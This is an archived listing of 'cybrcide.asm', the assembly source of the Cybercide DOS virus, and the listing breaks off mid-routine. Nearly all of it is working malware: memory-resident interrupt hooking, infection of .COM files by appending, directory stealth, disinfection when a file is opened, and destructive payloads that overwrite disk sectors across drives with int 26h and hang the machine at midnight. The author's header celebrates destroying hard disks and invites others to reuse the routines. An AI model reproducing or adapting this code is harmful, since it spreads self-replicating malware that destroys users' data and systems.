home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / cybrcide.asm < prev    next >
Assembly Source File  |  1994-01-05  |  32KB  |  999 lines

  1.                 .model tiny
  2.                 .code
  3.                 org    100h
  4.  
  5. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
  6. ;                    A NEW ORDER OF INTELLIGENCE PRESENTS:                     ;
  7. ;                                                                              ;
  8. ;                  Cybercide 1.00 - The original source-code                   ;
  9. ;              Copyright (c) -91 by Cruel Entity / Macaroni Ted                ;
  10. ;                                                                              ;
  11. ; This one is really old now. Mcaffe virus scanner have detected it for           ;
  12. ; years. Therefor I've decided to realease it. I hope you'll learn some-       ;
  13. ; thing from it. You are free to use routines from it and also rebuild           ;
  14. ; it. Just give me some credits.                                               ;
  15. ;                                           ;
  16. ; I hope you'll feel the nice feeling you get when you hear that many          ;
  17. ; hard-disks have been destroyed by you virus. So keep up the good work           ;
  18. ; and write more virus.                                                        ;
  19. ;                                                                              ;
  20. ; Of cource I can't take any responsibility for all virus-coders who           ;
  21. ; use any of the routines in this virus.                                       ;
  22. ;                                           ;
  23. ; Greetings to; God for creating AT&T's                           ;
  24. ;                                           ;
  25. ; ps! Tasm /m3 and tlink /t to get this babe into executable!                  ;
  26. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
  27. start:
  28.                 call    $+3
  29. sub_this:       pop     bp
  30.  
  31.                 mov     ax,0dd22h                ;are we already in memory?
  32.                 int     21h
  33.                 cmp     ax,03d33h
  34.                 jne     $+7
  35.                 lea     dx,[bp+(cancel-sub_this)]
  36.                 jmp     far ptr dx
  37.  
  38.                 mov     ax,3521h                ;get int 21h vect
  39.                 int     21h
  40.                 mov     [bp+(int_21h_off-sub_this)],bx
  41.                 mov     [bp+(int_21h_seg-sub_this)],es
  42.                 mov     ax,3509h                ;get int 9h vect
  43.                 int     21h
  44.                 mov     [bp+(int_9h_off-sub_this)],bx
  45.                 mov     [bp+(int_9h_seg-sub_this)],es
  46.                 mov     ax,351ch                ;get int 1ch vect
  47.                 int     21h
  48.                 mov     [bp+(int_1ch_off-sub_this)],bx
  49.                 mov     [bp+(int_1ch_seg-sub_this)],es
  50.  
  51.                 mov     ax,cs
  52.                 dec     ax
  53.                 mov     es,ax
  54.                 mov     ax,es:[0003h]
  55.                 sub     ax,[bp+(memlen-sub_this)]
  56.                 mov     es:[0003h],ax
  57.                 mov     ax,[bp+(memlen-sub_this)]
  58.                 sub     word ptr es:[0012h],ax
  59.                 mov     es,es:[0012h]
  60.                 push    es
  61.  
  62.                 lea     si,[bp+(start-sub_this)]
  63.                 mov     di,0100h
  64.                 mov     cx,[bp+(filelen-sub_this)]
  65.                 rep     movsb
  66.  
  67.                 pop     ds                      ;es => ds
  68.                 mov     ax,2521h                ;new vector at ES:0100
  69.                 lea     dx,new_int_21h
  70.                 int     21h
  71.                 mov     ax,2509h                ;int 9h
  72.                 lea     dx,new_int_9h
  73.                 int     21h
  74.                 mov     ax,251ch                ;int 1ch
  75.                 lea     dx,new_int_1ch
  76.                 int     21h
  77. cancel:
  78.                 push    cs                      ;cs => ds => es
  79.                 push    cs
  80.                 pop     ds
  81.                 pop     es
  82.  
  83.                 lea     si,[bp+(first_bytes-sub_this)]
  84.                 mov     cx,3
  85.                 mov     di,100h
  86.                 rep     movsb
  87.                 sub     di,3
  88.                 jmp     far ptr di
  89.  
  90. ULTIMATHULE     DB      'nam nesut agnåm dem änk mo änk ,marf'
  91.                 db      'kcig xeR sluloraC ruh nes egnäl röf ,nä in snniM'
  92.         ;        ^^^^^^^^^  Only a swedish poem written backwards ^^^^^^^^^
  93. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Resident part -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  94.  
  95. imperial_march  dw      330,600
  96.                 dw      330,600
  97.                 dw      330,600
  98.                 dw      262,450
  99.                 dw      392,150
  100.                 dw      330,600
  101.                 dw      262,450
  102.                 dw      392,150
  103.                 dw      330,1200
  104.                 dw      494,600
  105.                 dw      494,600
  106.                 dw      494,600
  107.                 dw      523,450
  108.                 dw      392,150
  109.                 dw      330,600
  110.                 dw      262,450
  111.                 dw      392,150
  112.                 dw      330,1200
  113.                 dw      0
  114.  
  115.                 db      'YTITNE na ot LEURC eb reven'
  116. darth_return:
  117.                 push    cs
  118.                 push    cs
  119.                 pop     ds
  120.                 pop     es
  121.                 lea     si,imperial_march
  122. darth_again:
  123.                 lodsw
  124.  
  125.                 cmp     ax,0
  126.                 je      darth_end
  127.  
  128.                 mov     di,ax
  129. play:
  130.                 mov     al,0b6h
  131.                 out     43h,al
  132.                 mov     dx,12h
  133.                 mov     ax,3280h
  134.                 div     di
  135.                 out     42h,al
  136.  
  137.                 mov     al,ah
  138.                 out     42h,al
  139.  
  140.                 in      al,61h
  141.                 mov     ah,al
  142.                 or      al,3
  143.                 out     61h,al
  144. delay:
  145.                 lodsw
  146.                 mov     cx,ax
  147. m_delay:
  148.                 push    cx
  149.                 mov     cx,2700
  150.                 loop    $
  151.                 pop     cx
  152.                 loop    m_delay
  153.  
  154.                 out     61h,al
  155.  
  156.                 jmp     darth_again
  157. darth_end:
  158.                 xor     al,al           ;sound off
  159.                 out     61h,al
  160.  
  161.                 mov     ax,0b800h       ;print ansi
  162.                 mov     es,ax
  163.                 lea     si,darth_pic
  164.                 mov     di,3680
  165.                 mov     cx,320
  166.                 rep     movsb
  167.  
  168.                 jmp     $               ;hang
  169.                 db      'ynollef ELIV a si GINKLAWYAJ'
  170. next_hour:
  171.                 cmp     dh,0
  172.                 je      check_100th
  173.                 pop     dx
  174.                 pop     cx
  175.                 pop     ax
  176.                 jmp     exit
  177. check_100th:
  178.                 cmp     dl,5
  179.                 jb      random_sector
  180.  
  181.                 pop     dx
  182.                 pop     cx
  183.                 pop     ax
  184.                 jmp     exit
  185. random_sector:
  186.                 pushf
  187.                 push    bx
  188.  
  189.                 call    get_rnd
  190.                 mov     cx,10           ;/ 10
  191.                 xor     dx,dx
  192.                 div     cx
  193.                 mov     dx,ax           ;dx=ax
  194.  
  195.                 mov     al,2h           ;drive #, start with c:
  196.                 mov     cx,1h           ;# of sectors to overwrite
  197.                 lea     bx,logo         ;address to overwriting data
  198. loopie:
  199.                 int     26h
  200.                 popf
  201.                 inc     al
  202.                 cmp     al,25
  203.                 jne     loopie
  204.  
  205.                 pop     bx
  206.                 popf
  207.  
  208.                 pop     dx
  209.                 pop     cx
  210.                 pop     ax
  211.                 jmp     exit
  212.                 db      '... I SHALL FEAR NO EVIL ...'
  213. check_time_int1c:
  214.                 mov     ah,2ch          ;get time
  215.                 int     21h
  216.                 cmp     ch,16           ;>16:??
  217.                 jae     set_flag_flag
  218.                 pop     dx
  219.                 pop     cx
  220.                 pop     ax
  221.                 jmp     exit
  222. set_flag_flag:
  223.                 mov     cs:flagga,1
  224.                 pop     dx
  225.                 pop     cx
  226.                 pop     ax
  227.                 jmp     exit
  228.  
  229. logo            db      '>>>  A.N.O.I  <<<' ; DATA to overwrite with
  230. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  231. ;                         New Interrupt 21h Handler
  232. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  233. new_int_21h:
  234.                 pushf
  235.  
  236.                 cmp     ax,0dd22h               ;mem check
  237.                 je      mem_check
  238.  
  239.                 cmp     ah,2ch                  ;time?
  240.                 je      exit
  241.  
  242.                 cmp     ah,2ah                  ;date?
  243.                 je      exit
  244.  
  245.                 cmp     ah,9
  246.                 je      exit
  247.  
  248.                 cmp     ah,11h
  249.                 je      find_old
  250.                 cmp     ah,12h
  251.                 je      find_old
  252.  
  253.                 cmp     ah,4eh                  ;dos 2.x
  254.                 je      find_
  255.                 cmp     ah,4fh
  256.                 je      find_
  257.                 cmp     ah,3dh                  ;open file
  258.                 je      open_file
  259.  
  260.                 push    ax
  261.                 push    cx
  262.                 push    dx
  263.  
  264.                 mov     ah,2ch
  265.                 int     21h
  266.  
  267.                 cmp     ch,00                   ;24:??
  268.                 jne     $+7
  269.                 lea     dx,darth_return
  270.                 jmp     far ptr dx
  271.  
  272.                 cmp     cl,00                   ;a new hour?
  273.                 jne     $+7
  274.                 lea     ax,next_hour
  275.                 jmp     far ptr ax
  276.  
  277.                 mov     ah,2ah                  ;get date
  278.                 int     21h
  279.  
  280.                 cmp     al,6                    ;flag time? (SAT)
  281.                 je      check_time_int1c        ;check time
  282.  
  283.                 pop     dx
  284.                 pop     cx
  285.                 pop     ax
  286. exit:
  287.                 popf
  288.  
  289. real_int_21h:   db      0eah            ;jmp...
  290. int_21h_off     dw      ?               ;to old int 21h
  291. int_21h_seg     dw      ?
  292.  
  293. call_int21h:
  294.                 jmp     dword ptr cs:int_21h_off   ;force a call to DOS
  295.                 ret
  296. open_file:
  297.                 push    bp
  298.                 lea     bp,open
  299.                 jmp     far ptr bp
  300. find_:
  301.                 push    bp
  302.                 lea     bp,find_new
  303.                 jmp     far ptr bp
  304. mem_check:
  305.                 popf
  306.                 mov     ax,3d33h
  307.                 iret
  308.  
  309. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  310. ;                                 Stealth FCB
  311. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  312.  
  313. find_old:
  314.                 popf
  315.  
  316.                 pushf                           ;find fcb
  317.                 push    cs
  318.                 call    call_int21h
  319.                 cmp     al,0ffh
  320.                 je      no_more_files
  321.  
  322.                 pushf
  323.                 push    ax
  324.                 push    bx
  325.                 push    cx
  326.                 push    dx
  327.                 push    si
  328.                 push    di
  329.                 push    ds
  330.                 push    es
  331.                 push    bp
  332.  
  333.                 mov     ah,2fh                  ;get dta
  334.                 int     21h
  335.  
  336.                 push    es              ;es:bx
  337.                 pop     ds              ;ds:bx
  338.                 mov     si,bx           ;ds:si
  339.  
  340.                 add     si,16           ;ext name
  341.                 lodsw
  342.                 cmp     ax,'OC'         ;.CO
  343.                 jne     cancel_ff
  344.                 lodsb
  345.                 cmp     al,'M'          ;M
  346.                 jne     cancel_ff
  347. ext_ok:
  348.                                          ;ext=com
  349.                 mov     si,bx           ;check size
  350.                 add     si,26h
  351.                 lodsw
  352.                 cmp     ax,0            ;=> 0ffffh?
  353.                 jne     cancel_ff
  354.  
  355.                 mov     si,bx           ;check if already infected
  356.                 add     si,30
  357.                 lodsw                   ;time
  358.                 and     al,00011111b
  359.                 cmp     al,12
  360.                 je      $+7            ;already infected (sec=24)
  361.                 lea     dx,infect
  362.                 jmp     far ptr dx
  363.  
  364.                 mov     si,bx           ;alter size
  365.                 add     si,36
  366.                 mov     di,si
  367.                 lodsw
  368.                 sub     ax,cs:filelen
  369.                 jz      cancel_ff
  370.                 stosw
  371. cancel_ff:
  372.                 pop     bp
  373.                 pop     es
  374.                 pop     ds
  375.                 pop     di
  376.                 pop     si
  377.                 pop     dx
  378.                 pop     cx
  379.                 pop     bx
  380.                 pop     ax
  381.                 popf
  382. no_more_files:  retf    2               ;iret flags
  383. cancel_inf:
  384.                 pop     ax
  385.                 pop     ax
  386.                 jmp     cancel_ff
  387.  
  388. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  389. ;                                 Stealth 4Eh
  390. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  391. find_new:
  392.                 pop     bp
  393.                 popf
  394.  
  395.                 pushf                           ;find 4e
  396.                 push    cs
  397.                 call    call_int21h
  398.                 jnc     more_files
  399.                 retf    2
  400. more_files:
  401.                 pushf
  402.                 push    ax
  403.                 push    bx
  404.                 push    cx
  405.                 push    dx
  406.                 push    si
  407.                 push    di
  408.                 push    ds
  409.                 push    es
  410.                 push    bp
  411.  
  412.                 mov     ah,2fh                  ;get dta
  413.                 int     21h
  414.  
  415.                 push    es              ;es:bx
  416.                 pop     ds              ;ds:bx
  417.  
  418.                 mov     si,bx           ;ds:si
  419.  
  420.                 add     si,16h
  421.                 push    si              ;ONLY for infection
  422.                 push    es
  423.  
  424.                 mov     si,bx
  425.  
  426.                 push    cs              ;cs => es
  427.                 pop     es
  428.  
  429.                 add     si,1eh          ;f name
  430.                 lea     di,filename
  431.                 mov     cx,25
  432. get_fname:
  433.                 lodsb
  434.                 cmp     al,0
  435.                 je      get_f_klar
  436.                 stosb
  437.                 loop    get_fname
  438. get_f_klar:
  439.                 mov     al,0            ;asciiz
  440.                 stosb
  441.  
  442.                 push    ds              ;ds=> es
  443.                 pop     es
  444.                 push    cs              ;cs=> ds
  445.                 pop     ds
  446.                 mov     si,di
  447.  
  448.                 sub     si,4            ;'COM'
  449.                 lodsw                   ;CO
  450.  
  451.                 cmp     ax,'OC'
  452.                 je      check_m
  453.                 cmp     ax,'oc'
  454.                 jne     cancel_new
  455. check_m:
  456.                 lodsb
  457.                 cmp     al,'m'
  458.                 je      ext_is_com
  459.                 cmp     al,'M'
  460.                 jne     cancel_new
  461. ext_is_com:
  462.                 push    es              ;es=> ds
  463.                 pop     ds
  464.  
  465.                 mov     si,bx
  466.                 add     si,1ch          ;check size
  467.                 lodsw
  468.                 cmp     ax,0            ;=> 0ffffh
  469.                 jne     cancel_new
  470.  
  471.                 mov     si,bx
  472.                 add     si,16h
  473.                 lodsw                   ;time
  474.                 and     al,00011111b
  475.                 cmp     al,12
  476.                 jne     attrib_check     ;already infected (sec=24)
  477.  
  478.                 mov     si,bx
  479.                 add     si,1ah
  480.                 mov     di,si
  481.                 lodsw                   ;alter size
  482.                 sub     ax,cs:filelen
  483.                 jz      cancel_new
  484.                 stosw
  485. cancel_new:
  486.                 pop     ax              ;crap...
  487.                 pop     ax
  488.  
  489.                 pop     bp
  490.                 pop     es
  491.                 pop     ds
  492.                 pop     di
  493.                 pop     si
  494.                 pop     dx
  495.                 pop     cx
  496.                 pop     bx
  497.                 pop     ax
  498.                 popf
  499. no_more_files2: retf    2               ;iret flags
  500.  
  501. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  502. ;                                    Infect
  503. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  504.  
  505. infect:
  506.                 add     bx,30
  507.                 push    bx
  508.                 sub     bx,30
  509.                 push    es
  510.  
  511.                 mov     si,bx           ;fname
  512.                 add     si,8
  513.  
  514.                 push    cs              ;cs=>es
  515.                 pop     es
  516.  
  517.                 lea     di,filename
  518.                 mov     cx,8
  519. cpy_name:
  520.                 lodsb
  521.                 cmp     al,20h
  522.                 je      name_klar
  523.                 stosb
  524.                 loop    cpy_name
  525. name_klar:
  526.                 mov     al,'.'
  527.                 stosb
  528.                 mov     si,bx
  529.                 add     si,16
  530.                 mov     cx,3
  531.                 rep     movsb
  532.                 mov     al,0
  533.                 stosb
  534. attrib_check:
  535.                 push    cs              ;cs=> ds => es
  536.                 push    cs
  537.                 pop     ds
  538.                 pop     es
  539.  
  540.                 mov     ax,4300h        ;get attrib
  541.                 lea     dx,filename
  542.                 int     21h
  543.                 mov     attribute,cx    ;save it
  544.                 xor     cx,cx
  545.                 mov     ax,4301h        ;force all attribs
  546.                 int     21h
  547.  
  548.                 mov     ax,3d02h        ;open file
  549.                 pushf
  550.                 push    cs
  551.                 call    call_int21h
  552.                 jnc     $+7             ;not a valid filename
  553.                 lea     dx,cancel_inf
  554.                 jmp     far ptr dx
  555.                 mov     bx,ax           ;handle
  556.  
  557.                 mov     ah,3fh          ;3 first bytes
  558.                 lea     dx,first_bytes
  559.                 mov     cx,3
  560.                 int     21h
  561.  
  562.                 mov     ax,4202h        ;go eof and get size
  563.                 xor     dx,dx
  564.                 xor     cx,cx
  565.                 int     21h
  566.  
  567.                 sub     ax,3
  568.                 mov     jmp_2,ax
  569.  
  570.                 mov     ah,40h          ;write virus to eof
  571.                 mov     cx,filelen      ;virlen
  572.                 mov     dx,100h
  573.                 int     21h
  574.  
  575.                 mov     ax,4200h        ;goto beg
  576.                 xor     cx,cx
  577.                 xor     dx,dx
  578.                 int     21h
  579.  
  580.                 mov     ah,40h          ;write a jmp
  581.                 mov     cx,3
  582.                 lea     dx,jmp_1
  583.                 int     21h
  584.  
  585.                 pop     ds                      ;=> DTA
  586.                 pop     si
  587.  
  588.                 lodsw
  589.                 and     al,11100000b            ;secs=24
  590.                 or      al,00001100b
  591.                 mov     cx,ax
  592.                 lodsw                           ;date
  593.                 mov     dx,ax
  594.  
  595.                 mov     ax,5701h                ;set time/date
  596.                 int     21h
  597.  
  598.                 mov     ah,3eh
  599.                 pushf
  600.                 push    cs
  601.                 call    call_int21h             ;close file
  602.  
  603.                 mov     ax,4301h                ;set attrib
  604.                 push    cs                      ;cs =>ds
  605.                 pop     ds
  606.                 mov     cx,attribute
  607.                 lea     dx,filename
  608.                 int     21h
  609.  
  610.                 jmp     cancel_ff
  611.  
  612. cancel_uninf2:
  613.                 mov     ah,3eh
  614.                 pushf
  615.                 push    cs
  616.                 call    call_int21h             ;close file
  617. cancel_uninf:
  618.                 pop     bp
  619.                 pop     es
  620.                 pop     ds
  621.                 pop     di
  622.                 pop     si
  623.                 pop     dx
  624.                 pop     cx
  625.                 pop     bx
  626.                 pop     ax
  627.                 popf
  628.  
  629.                 pushf
  630.                 push    cs
  631.                 call    call_int21h
  632.                 retf    2               ;iret flags
  633.  
  634. konstig_text    db      '**CYBERCIDE** -- FLOATING THROUGH THE VOID'
  635.  
  636. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  637. ;                                     Open
  638. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  639. open:
  640.                 pop     bp
  641.                 popf
  642.  
  643.                 pushf
  644.                 push    ax
  645.                 push    bx
  646.                 push    cx
  647.                 push    dx
  648.                 push    si
  649.                 push    di
  650.                 push    ds
  651.                 push    es
  652.                 push    bp
  653.  
  654.                 push    ds                      ;ds=> es
  655.                 pop     es
  656.  
  657.                 mov     bx,dx           ;save dx = bx
  658.                 mov     bp,ax           ;save ax = bp
  659.  
  660.                 mov     di,dx
  661.                 mov     cx,025h                 ;MAX
  662.                 mov     dx,cx
  663.                 mov     al,0
  664.                 repnz   scasb
  665.                 sub     di,4
  666.                 mov     si,di
  667.                 lodsw
  668.                 cmp     ax,'OC'
  669.                 je      check_m2
  670.                 cmp     ax,'oc'
  671.                 jne     cancel_uninf
  672. check_m2:
  673.                 lodsb
  674.                 cmp     al,'m'
  675.                 je      ext_is_com2
  676.                 cmp     al,'M'
  677.                 jne     cancel_uninf
  678. ext_is_com2:
  679.                 mov     dx,bx                   ;restore
  680.                 mov     ax,bp                   ;restore
  681.  
  682.                 pushf
  683.                 push    cs
  684.                 call    call_int21h     ;open file
  685.                 jc      cancel_uninf
  686.                 mov     bx,ax           ;handle
  687.  
  688.                 mov     ax,5700h                ;get time/date
  689.                 int     21h
  690.  
  691.                 and     cl,00011111b
  692.                 cmp     cl,12
  693.                 je      $+7
  694.                 lea     bp,cancel_uninf2
  695.                 jmp     far ptr bp
  696.  
  697.                 mov     ax,9000h        ;temp area
  698.                 mov     ds,ax           ;ds
  699.                 mov     es,ax           ;es
  700.  
  701.                 mov     ah,3fh          ;read whole file
  702.                 mov     cx,0ffffh
  703.                 mov     dx,0
  704.                 int     21h
  705.  
  706.                 mov     si,0
  707.                 add     si,ax           ;add size
  708.                 sub     si,3            ;3 last bytes
  709.  
  710.                 mov     di,0            ;copy 3 last bytes to
  711.                 mov     cx,3            ;beg
  712.                 rep     movsb
  713.  
  714.                 push    ax
  715.                 mov     ax,4200h        ;goto beg
  716.                 mov     cx,0
  717.                 mov     dx,0
  718.                 int     21h
  719.  
  720.                 pop     cx
  721.                 sub     cx,cs:filelen
  722.                 mov     ah,40h          ;write new file
  723.                 mov     dx,0
  724.                 int     21h
  725.  
  726.                 mov     ah,40h          ;set eof mark
  727.                 mov     cx,0
  728.                 int     21h
  729.  
  730.                 mov     ah,3eh
  731.                 pushf
  732.                 push    cs
  733.                 call    call_int21h             ;close file
  734.  
  735.                 pop     bp
  736.                 pop     es
  737.                 pop     ds
  738.                 pop     di
  739.                 pop     si
  740.                 pop     dx
  741.                 pop     cx
  742.                 pop     bx
  743.                 pop     ax
  744.                 popf
  745.  
  746.                 pushf
  747.                 push    cs
  748.                 call    call_int21h             ;force open
  749.                 retf    2
  750.  
  751. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  752. ;                           New Interrupt 9h Handler
  753. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  754. ;-9h
  755. new_int_9h:
  756.                 pushf
  757.                 push    ax
  758.                 push    bx
  759.                 push    ds
  760.  
  761.                 xor     ax,ax        ;ds=> 0
  762.                 mov     ds,ax
  763.  
  764.                 mov     al,byte ptr ds:[0417h]   ;bios, shift status
  765.                 and     al,8
  766.                 cmp     al,8         ;is alt active?
  767.                 jne     check_anoi   ;not pressed
  768.  
  769.                 in      al,60h
  770.                 cmp     al,53h       ;del?
  771.                 jne     $+7
  772.                 lea     ax,alt_del
  773.                 jmp     far ptr ax
  774.  
  775. check_anoi:
  776.                 in      al,60h                  ;read key
  777.                 cmp     cs:anoi_flag,0
  778.                 je      check_a
  779.                 cmp     cs:anoi_flag,1
  780.                 je      check_n
  781.                 cmp     cs:anoi_flag,2
  782.                 je      check_o
  783.                 cmp     cs:anoi_flag,3
  784.                 je      check_i
  785.                 cmp     cs:anoi_flag,4
  786.                 je      anoi_
  787. exit_zero:
  788.                 mov     cs:anoi_flag,0
  789.                 mov     cs:e_3rd,0
  790. exit_9h:
  791.                 pop     ds
  792.                 pop     bx
  793.                 pop     ax
  794.                 popf
  795.  
  796. real_int_9h:    db      0eah            ;jmp...
  797. int_9h_off      dw      ?               ;to old int 9h
  798. int_9h_seg      dw      ?
  799.  
  800. anoi_flag       db      0
  801. e_3rd           db      0
  802. anoi_text       db      ' iS AROUND!',0
  803.  
  804. exit_anoi:
  805.                 inc     cs:e_3rd
  806.                 cmp     cs:e_3rd,10
  807.                 je      exit_zero
  808.                 jmp     exit_9h
  809.  
  810. check_a:
  811.                 cmp     al,1eh          ;'a'
  812.                 jne     exit_anoi
  813.                 mov     cs:anoi_flag,1
  814.                 jmp     exit_9h
  815. check_n:
  816.                 cmp     al,31h          ;'n'
  817.                 jne     exit_anoi
  818.                 mov     cs:anoi_flag,2
  819.                 jmp     exit_9h
  820. check_o:
  821.                 cmp     al,18h          ;'o'
  822.                 jne     exit_anoi
  823.                 mov     cs:anoi_flag,3
  824.                 jmp     exit_9h
  825. check_i:
  826.                 cmp     al,17h          ;'i'
  827.                 jne     exit_anoi
  828.                 mov     cs:anoi_flag,4
  829.                 jmp     exit_9h
  830.  
  831. anoi_:
  832.                 push    bp
  833.  
  834.                 mov     ah,0eh          ;print chr
  835.                 mov     bx,0
  836.                 xor     bp,bp
  837. print_next:
  838.                 mov     al,cs:[anoi_text+bp]
  839.                 int     10h
  840.                 inc     bp
  841.                 cmp     al,0
  842.                 jne     print_next
  843.  
  844.                 pop     bp
  845.                 jmp     exit_zero
  846.  
  847. alt_del:
  848.                 mov     ax,0b800h
  849.                 mov     es,ax
  850.                 mov     di,0
  851.                 mov     al,'A'
  852.                 stosb
  853.                 mov     di,158
  854.                 mov     al,'N'
  855.                 stosb
  856.                 mov     di,3998
  857.                 mov     al,'I'
  858.                 stosb
  859.                 mov     di,3840
  860.                 mov     al,'O'
  861.                 stosb
  862.  
  863.                 jmp     exit_9h
  864. darth_pic:
  865.         DB      '─',30,'─',30,'┼',30,'─',30,'─',30,'─',30,' ',7,' ',7
  866.         DB      ' ',7,' ',15,' ',15,'I',15,' ',15,'h',15,'e',15,'r',15
  867.         DB      'e',15,'b',15,'y',15,' ',15,'p',15,'r',15,'o',15,'c',15
  868.         DB      'l',15,'a',15,'i',15,'m',15,' ',15,'t',15,'h',15,'i',15
  869.         DB      's',15,' ',15,'c',15,'o',15,'m',15,'p',15,'u',15,'t',15
  870.         DB      'e',15,'r',15,' ',15,'a',15,'s',15,' ',15,'t',15,'h',15
  871.         DB      'e',15,' ',15,'p',15,'r',15,'o',15,'p',15,'e',15,'r',15
  872.         DB      't',15,'y',15,' ',15,'o',15,'f',15,' ',15,'A',15,'.',15
  873.         DB      'N',15,'.',15,'O',15,'.',15,'I',15,' ',15,' ',15,' ',7
  874.         DB      ' ',7,' ',14,'─',30,'─',30,'┼',30,'─',30,'─',30,'─',30
  875.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  876.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  877.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  878.         DB      ' ',15,' ',15,' ',15,'!',15,'!',15,' ',15,'A',15,'L',15
  879.         DB      'L',15,' ',15,'H',15,'A',15,'I',15,'L',15,' ',15,'D',15
  880.         DB      'A',15,'R',15,'T',15,'H',15,' ',15,'V',15,'A',15,'D',15
  881.         DB      'E',15,'R',15,' ',15,'!',15,'!',15,' ',15,' ',15,' ',15
  882.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  883.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  884.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  885.  
  886. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  887. ;                          New Interrupt 1Ch Handler
  888. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  889.  
  890. new_int_1ch:
  891.                 pushf
  892.  
  893.                 cmp     cs:flagga,0
  894.                 jne     print_flag
  895. exit_1c:
  896.                 popf
  897.  
  898. real_int_1ch:   db      0eah            ;jmp...
  899. int_1ch_off     dw      ?               ;to old int 1ch
  900. int_1ch_seg     dw      ?
  901. flagga          db      0               ;no flag
  902.  
  903. print_flag:
  904.                 push    ax
  905.                 push    bx
  906.                 push    cx
  907.                 push    di
  908.                 push    si
  909.                 push    ds
  910.                 push    es
  911.                 push    bp
  912.  
  913.                 cld
  914.                 mov     ax,0b800h
  915.                 mov     es,ax
  916.                 mov     ds,ax
  917.  
  918.                 mov     di,1
  919.                 mov     si,1
  920.                 lea     bp,tabl
  921.                 xor     ch,ch
  922.  
  923.                 mov     cl,cs:[bp]
  924.                 inc     bp
  925. again:
  926.                 mov     bl,cs:[bp]
  927.                 inc     bp
  928. line:
  929.                 lodsb
  930.                 and     al,00000111b
  931.                 or      al,bl
  932.                 stosb
  933.                 inc     di
  934.                 inc     si
  935.                 loop    line
  936.  
  937.                 mov     cl,cs:[bp]
  938.                 inc     bp
  939.                 cmp     cl,0
  940.                 jne     again
  941.  
  942.                 pop     bp
  943.                 pop     es
  944.                 pop     ds
  945.                 pop     si
  946.                 pop     di
  947.                 pop     cx
  948.                 pop     bx
  949.                 pop     ax
  950.                 jmp     exit_1c
  951.  
  952. ;                       # B     G      B
  953. tabl db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
  954.      db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
  955.      db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
  956.  
  957.      db      80,96,80,96,80,96,80,96
  958.  
  959.      db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
  960.      db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
  961.      db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
  962.      db      35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16,0
  963.  
  964.      DB      '-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93   A.N.O.I DEVELOPMENT'
  965. get_rnd:
  966.                 push   dx
  967.                 push   cx
  968.                 push   bx
  969.                 in     al,40h                         ;'@'
  970.                 add    ax,0000
  971.                 mov    dx,0000
  972.                 mov    cx,0007
  973. rnd_init5:
  974.                 shl    ax,1
  975.                 rcl    dx,1
  976.                 mov    bl,al
  977.                 xor    bl,dh
  978.                 jns    rnd_init6
  979.                 inc    al
  980. rnd_init6:
